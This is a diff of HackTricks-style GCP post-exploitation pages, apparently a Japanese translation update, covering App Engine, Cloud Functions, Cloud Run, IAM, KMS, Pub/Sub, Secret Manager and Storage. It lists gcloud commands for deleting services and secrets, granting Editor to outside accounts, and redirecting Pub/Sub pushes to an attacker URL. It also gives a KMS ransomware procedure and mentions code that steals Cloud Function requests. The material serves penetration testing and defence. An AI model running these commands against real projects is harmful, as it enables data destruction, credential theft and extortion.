## `App Engine`
|
||||
|
||||
For information about App Engine check:
|
||||
App Engine に関する情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,36 +12,37 @@ For information about App Engine check:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
With these permissions it's possible to:
|
||||
これらの権限により、次のことが可能です:
|
||||
|
||||
- キーを追加する
|
||||
- キーを一覧表示する
|
||||
- キーを取得する
|
||||
- 削除する
|
||||
- キーを削除する
|
||||
|
||||
> [!CAUTION]
|
||||
> しかし、私は **couldn't find any way to access this information from the cli**, からのみ **web console** で、そこで **Key type** と **Key name** を知っている必要があり、または a**pp engine running app** からしかアクセスできませんでした。
|
||||
> ただし、私は **couldn't find any way to access this information from the cli**、**web console** からのみアクセスでき、そこで **Key type** と **Key name** を知る必要があります、または a**pp engine running app** からアクセスします。
|
||||
>
|
||||
> これらの権限を使用するより簡単な方法をご存知の場合は、Pull Request を送ってください!
|
||||
> これらの権限を使うより簡単な方法をご存知であれば、Pull Request を送ってください!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
With this permission it's possible to **see the logs of the App**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Tail app logs</summary>
|
||||
この権限があれば **アプリのログを見る** ことが可能です:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### サービスとバージョンの削除
|
||||
|
||||
### ソースコードを読む
|
||||
`appengine.versions.delete`、`appengine.versions.list`、および `appengine.services.list` の権限は、App Engine アプリケーションの特定のバージョンを管理・削除することを許可します。トラフィックが分割されている場合や唯一の安定版が削除された場合に、トラフィックに影響を与える可能性があります。一方で、`appengine.services.delete` と `appengine.services.list` の権限はサービス全体の一覧表示および削除を許可し、これは関連するバージョンの可用性と全トラフィックを即座に中断する操作です。
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### ソースコードの閲覧
|
||||
|
||||
すべてのバージョンとサービスのソースコードは、名前が **`staging.<proj-id>.appspot.com`** の **bucket** に格納されています。書き込み権限がある場合、ソースコードを読み、**vulnerabilities** や **sensitive information** を検索できます。
|
||||
すべてのバージョンおよびサービスのソースコードは **bucket に格納されています**。名前は **`staging.<proj-id>.appspot.com`** です。そこに対する書き込み権限があれば、ソースコードを読み、**脆弱性**や**機密情報**を検索できます。
|
||||
|
||||
### ソースコードの変更
|
||||
### ソースコードの改変
|
||||
|
||||
送信されている場合は **credentials** を盗むためにソースコードを改変したり、**defacement web attack** を実行したりできます。
|
||||
送信されているcredentialsを盗むためにソースコードを改変したり、defacement web attackを実行したりします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Cloud Functions に関する情報は次を参照してください:
|
||||
Find some information about Cloud Functions in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,30 +12,30 @@ Cloud Functions に関する情報は次を参照してください:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
この権限があれば、Cloud Function のソースコードをダウンロードするための**署名付きURL**を取得できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ソースコードをダウンロードするための署名付きURLを取得</summary>
|
||||
この権限があれば、Cloud Function のソースコードをダウンロードできる **signed URL** を取得できます:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
`cloudfunctions.functions.delete` 権限は、アイデンティティに Cloud Function のコード、構成、トリガー、およびサービスアカウントとの関連を含めて完全に削除することを許可します。
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Code Exfiltration バケット経由
|
||||
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
|
||||
|
||||
### Cloud Function リクエストの窃取
|
||||
### Steal Cloud Function Requests
|
||||
|
||||
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
|
||||
|
||||
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
|
||||
|
||||
例えば、次のコードはこの攻撃を実装しています:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Function リクエストの窃取 (Python injection)</summary>
|
||||
For example this code implements the attack:
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +132,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,23 +1,34 @@
|
||||
# GCP - Cloud Run ポストエクスプロイテーション
|
||||
# GCP - Cloud Run Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Cloud Run に関する詳細情報は、以下を確認してください:
|
||||
Cloud Run の詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CloudRun Job の削除
|
||||
`run.services.delete` と `run.services.get` の権限、および `run.jobs.delete` は、アイデンティティが Cloud Run のサービスやジョブ(構成や履歴を含む)を完全に削除できるようにします。攻撃者の手に渡ると、これはアプリケーションや重要なワークフローに即時の障害を引き起こし、サービスロジックや必須のスケジュールされたタスクに依存するユーザーやシステムに対してサービス拒否(DoS)をもたらす可能性があります。
|
||||
|
||||
ジョブを削除するには、次の操作を実行できます。
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
サービスを削除するには、次の操作を実行します。
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### 画像にアクセスする
|
||||
|
||||
コンテナ画像にアクセスできる場合は、脆弱性やハードコーディングされた機密情報のコードを確認してください。また、環境変数内の機密情報も確認してください。
|
||||
コンテナイメージにアクセスできる場合は、コードに脆弱性やハードコードされた機密情報がないか確認してください。env variables に含まれる機密情報も確認します。
|
||||
|
||||
画像がサービスの Artifact Registry 内のリポジトリに保存されており、ユーザーがリポジトリに対して読み取りアクセスを持っている場合、彼はこのサービスから画像をダウンロードすることもできます。
|
||||
イメージが Artifact Registry サービス内のリポジトリに保存されており、ユーザーがそれらのリポジトリに対して読み取りアクセスを持っている場合、そのユーザーはこのサービスからイメージをダウンロードすることもできます。
|
||||
|
||||
### 画像を変更して再デプロイする
|
||||
### イメージを修正して再デプロイする
|
||||
|
||||
情報を盗むために実行画像を変更し、新しいバージョンを再デプロイします(同じタグの新しい Docker コンテナをアップロードするだけでは実行されません)。例えば、ログインページを公開している場合、ユーザーが送信している資格情報を盗むことができます。
|
||||
実行されるイメージを改変して情報を盗み、新しいバージョンを再デプロイします(同じタグで新しい docker container を単にアップロードしても実行されません)。例えば、ログインページを公開している場合は、ユーザーが送信する認証情報を盗むようにします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,24 +12,40 @@ You can find further information about IAM in:
|
||||
|
||||
### 管理コンソールへのアクセス付与 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
[GCP management console](https://console.cloud.google.com) へのアクセスは **ユーザーアカウントに提供され、サービスアカウントには提供されません**。
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**。Web インターフェースにログインするには、自分が管理する **Google account** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントで構いません。**対象組織のメンバーである必要はありません**。
|
||||
|
||||
Webインターフェースにログインするには、あなたが管理する **Google アカウント** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントでも構いませんし、ターゲット組織のメンバーである必要はありません。
|
||||
ただし、一般的な "@gmail.com" アカウントにプリミティブロールの **Owner** を**付与**するには、**web console** を使用する必要があります。`gcloud` は Editor を超える権限を付与しようとするとエラーになります。
|
||||
|
||||
ただし、一般的な "**@gmail.com**" アカウントにプリミティブロールの **Owner** を**付与する**には、**web コンソールを使用する**必要があります。`gcloud` は、Editor より上の権限を付与しようとするとエラーになります。
|
||||
|
||||
既存のプロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ユーザーに Editor ロールを付与</summary>
|
||||
既存プロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
If you succeeded here, try **Web インターフェースにアクセス**して、そこから探索してみてください。
|
||||
|
||||
もしここで成功したら、**Webインターフェースにアクセス**してそこから探索してみてください。
|
||||
This is the **gcloud tool を使用して割り当てられる最高レベルです**。
|
||||
|
||||
これは**gcloudツールを使って割り当てられる最も高いレベル**です。
|
||||
### IAM コンポーネントを削除 `iam.*.delete`
|
||||
`iam.*.delete` 権限(例: `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` など)は、カスタムロール、API キーバインディング、サービスアカウントキー、およびサービスアカウント自体など、重要な IAM コンポーネントを削除することをアイデンティティに許可します。攻撃者の手に渡ると、正当なアクセス手段を削除してサービス拒否(DoS)を引き起こすことが可能になります。
|
||||
|
||||
そのような攻撃を行うには、例えばロールを削除することが可能です:
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
`iam.serviceAccountKeys.disable` と `iam.serviceAccounts.disable` の権限があれば、アクティブな service account keys や service accounts を無効化できます。攻撃者の手に渡ると、運用の妨害、denial of service の発生、または正当な認証情報の使用を阻止して incident response を妨げるために利用される可能性があります。
|
||||
|
||||
Service Account を無効化するには、次のコマンドを使用します:
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Service Account のキーを無効にするには、次のコマンドを使用します:
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
`iam.*.undelete` 権限は、API key bindings、custom roles、service accounts のような以前に削除された要素を復元することを可能にします。攻撃者の手に渡ると、対策を元に戻して(削除されたアクセスの回復)、永続化のために削除された侵害ベクトルを再構築したり、修復措置を回避してインシデントの封じ込めを困難にするために利用される可能性があります。
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
KMS の基本情報は次を参照してください:
|
||||
KMS に関する基本情報は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,11 +12,11 @@ KMS の基本情報は次を参照してください:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
この権限を持つ攻撃者は KMS のバージョンを破壊する可能性があります。これを行うには、まずキーを無効化し、その後で破棄する必要があります:
|
||||
この権限を持つ攻撃者は KMS バージョンを破棄できます。そのためにはまずキーを無効化し、続けて破棄する必要があります:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>キー バージョンの無効化と破壊 (Python)</summary>
|
||||
<summary>キーの無効化と破棄(Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
AWS では、KMS resource policy を変更して攻撃者のアカウントだけがそのキーを使用できるようにすることで、完全に **steal a KMS key** することが可能です。これらの resource policies は GCP には存在しないため、これは不可能です。
|
||||
AWSでは、KMS resource policyを変更して攻撃者のアカウントのみがそのキーを使用できるようにすることで、**KMS key**を完全に盗むことが可能です。GCPにはこれらのresource policiesが存在しないため、これは不可能です。
|
||||
|
||||
しかし、グローバルな KMS Ransomware を実行する別の方法があり、次の手順を含みます:
|
||||
しかし、global KMS Ransomwareを実行する別の方法があり、これは以下の手順を含みます:
|
||||
|
||||
- 攻撃者がインポートした **version of the key with a key material** を使ってキーの新しいバージョンを作成する
|
||||
- 攻撃者がインポートした**key materialを含むキーの新しいバージョン**を作成する
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- これを **デフォルト バージョン** に設定する(今後暗号化されるデータ用)
|
||||
- 以前のバージョンで暗号化された古いデータを**再暗号化する**(新しいバージョンで)
|
||||
- **KMS key を削除する**
|
||||
- これにより、元の鍵素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
|
||||
- それを **デフォルトバージョン** として設定する(今後暗号化されるデータ用)
|
||||
- **古いデータを再暗号化する**(以前のバージョンで暗号化されたデータを新しいバージョンで再暗号化する)
|
||||
- **KMSキーを削除する**
|
||||
- これにより、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
|
||||
|
||||
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順:
|
||||
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順は以下の通り:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>新しいキー バージョンをインポートして古いバージョンを削除する</summary>
|
||||
<summary>新しいキーのバージョンをインポートして古いバージョンを削除</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>非対称鍵でメッセージに署名する (Python)</summary>
|
||||
<summary>非対称鍵でメッセージに署名 (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -243,7 +243,7 @@ print('Signature:', signature)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>非対称鍵で署名を検証する (Python)</summary>
|
||||
<summary>非対称キーで署名を検証する (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
`cloudkms.cryptoKeyVersions.restore` 権限は、以前に破棄予定に設定されたか無効化された Cloud KMS のキー バージョンを復元し、アクティブで使用可能な状態に戻すことを許可します。
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
`cloudkms.cryptoKeyVersions.update` 権限は、アイデンティティが Cloud KMS の特定のキー バージョンの属性や状態を変更できることを許可します。例えば、そのキー バージョンを有効化または無効化することができます。
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pub/Subの詳細については、次のページを参照してください:
|
||||
For more information about Pub/Sub check the following page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,7 +12,7 @@ Pub/Subの詳細については、次のページを参照してください:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
トピックにメッセージをpublishします。**予期しないデータを送信**して予期しない機能をトリガーしたり脆弱性を悪用したりするのに有用です:
|
||||
トピックにメッセージを公開します。**予期しないデータを送信する**のに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
subscriptionがメッセージを受信しないようにするのに有用で、検知を回避するために使える場合がある。
|
||||
サブスクリプションがメッセージを受信するのを防ぐのに有用で、検出を回避するために使うことがあります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>トピックからsubscriptionをデタッチ</summary>
|
||||
<summary>トピックからサブスクリプションを切り離す</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -38,11 +38,11 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。\
|
||||
サブスクリプションがアタッチされている状態でも、トピックを削除することが可能です。
|
||||
サブスクリプションが紐づいている状態でもトピックを削除できます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete topic</summary>
|
||||
<summary>トピックを削除</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
この権限を使用して、トピックの設定を更新して妨害できます。例: `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`...
|
||||
この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
自分に権限を付与して、前述のいずれかの攻撃を実行できるようにします。
|
||||
自分に権限を付与して、前述のいずれの攻撃も実行できるようにします。
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
ウェブサーバー上のすべてのメッセージを取得する:
|
||||
ウェブサーバーで全てのメッセージを取得する:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -69,7 +95,7 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
|
||||
```
|
||||
</details>
|
||||
|
||||
サブスクリプションを作成し、それを使用して **pull messages** を取得します:
|
||||
サブスクリプションを作成し、それを使って **pull messages**:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**サブスクリプションの削除** は、ログ処理システムなどを中断するのに役立つことがあります:
|
||||
**サブスクリプションの削除**は、ログ処理システムの妨害などに有用な場合があります:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>サブスクリプションの削除</summary>
|
||||
<summary>サブスクリプションを削除</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
この権限を使って、メッセージがアクセスできる場所(URL、Big Query table、Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
|
||||
この権限を使って、メッセージが自分でアクセスできる場所(URL, Big Query table, Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>サブスクリプションのエンドポイントを更新</summary>
|
||||
<summary>サブスクリプションの更新エンドポイント</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
前述の攻撃を実行するために必要な権限を自分に付与します。
|
||||
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
スキーマをトピックにアタッチして、メッセージがそのスキーマを満たさなくなるようにし、結果としてトピックを妨害します。\
|
||||
スキーマをトピックにアタッチして、メッセージがそれを満たさなくなり、その結果トピックが中断されるようにします。\
|
||||
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スキーマファイルを作成してトピックにアタッチ</summary>
|
||||
<summary>スキーマファイルを作成してトピックにアタッチする</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
スキーマを削除すると、スキーマに適合しないメッセージを送信できるように見えるかもしれません。しかし、スキーマが削除されるため、実際にはトピックにメッセージは入らないでしょう。したがって、これは **無意味**:
|
||||
schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどの message も topic に入らないため、これは**役に立ちません**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スキーマを削除(役に立たない)</summary>
|
||||
<summary>Delete schema (not useful)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
|
||||
前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
これはACKされていないすべてのメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、以下の通りです:
|
||||
これは、すべての unACKed メッセージのスナップショットを作成してサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、参考までに:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スナップショットを作成してシークする</summary>
|
||||
<summary>スナップショットを作成してそこにシークする</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
For more information about Secret Manager check:
|
||||
Secret Manager の詳細については、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information about Secret Manager check:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
これは Secret Manager から secrets を読み取るアクセスを与え、保存されている情報によっては権限昇格に役立つことがあります(どの情報がシークレット内に格納されているかによります):
|
||||
これにより secret manager からシークレットを読み取ることができ、保存されている情報によっては権限昇格に役立つ可能性があります。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
`secretmanager.versions.destroy` 権限は、Secret Manager のシークレットの特定のバージョンを恒久的に破棄(回復不可能な削除としてマーク)することをアイデンティティに許可します。これにより重要な認証情報が削除され、denial of service を引き起こしたり、機密データの復旧を妨げたりする可能性があります。
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
`secretmanager.versions.disable` 権限は、アイデンティティが Secret Manager のアクティブなシークレットバージョンを無効化できるようにし、それらに依存するアプリケーションやサービスからの利用を一時的にブロックします。
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
`secretmanager.secrets.delete` の権限セットは、アイデンティティが Secret Manager 内のシークレットとその保存されているすべてのバージョンを完全に削除できるようにします。
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
`secretmanager.secrets.update` 権限は、アイデンティティがシークレットのメタデータや設定(例:ローテーション設定、バージョンポリシー、ラベル、特定のシークレットプロパティなど)を変更できるようにします。
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,19 +4,15 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Cloud Storageの詳細は次のページを参照してください:
|
||||
Cloud Storage の詳細については次のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give Public Access
|
||||
### パブリックアクセスを付与する
|
||||
|
||||
外部ユーザ(GCPにログインしているかどうかに関わらず)にバケットのコンテンツへのアクセスを付与することが可能です。ただし、デフォルトではバケットを公開するオプションは無効になっています:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>バケット/オブジェクトを公開する</summary>
|
||||
外部ユーザー(GCPにログインしているかどうかに関係なく)にバケットのコンテンツへのアクセスを許可することが可能です。ただし、デフォルトではバケットは公開設定にするオプションが無効になっています:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
</details>
|
||||
もし **ACLs to a bucket with disabled ACLs** を与えようとすると、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
ACLsが無効になっているバケットに**ACLsを付与しようとすると**、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
ブラウザから公開された bucket にアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスしてください。
|
||||
|
||||
公開されているバケットにブラウザからアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします。
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
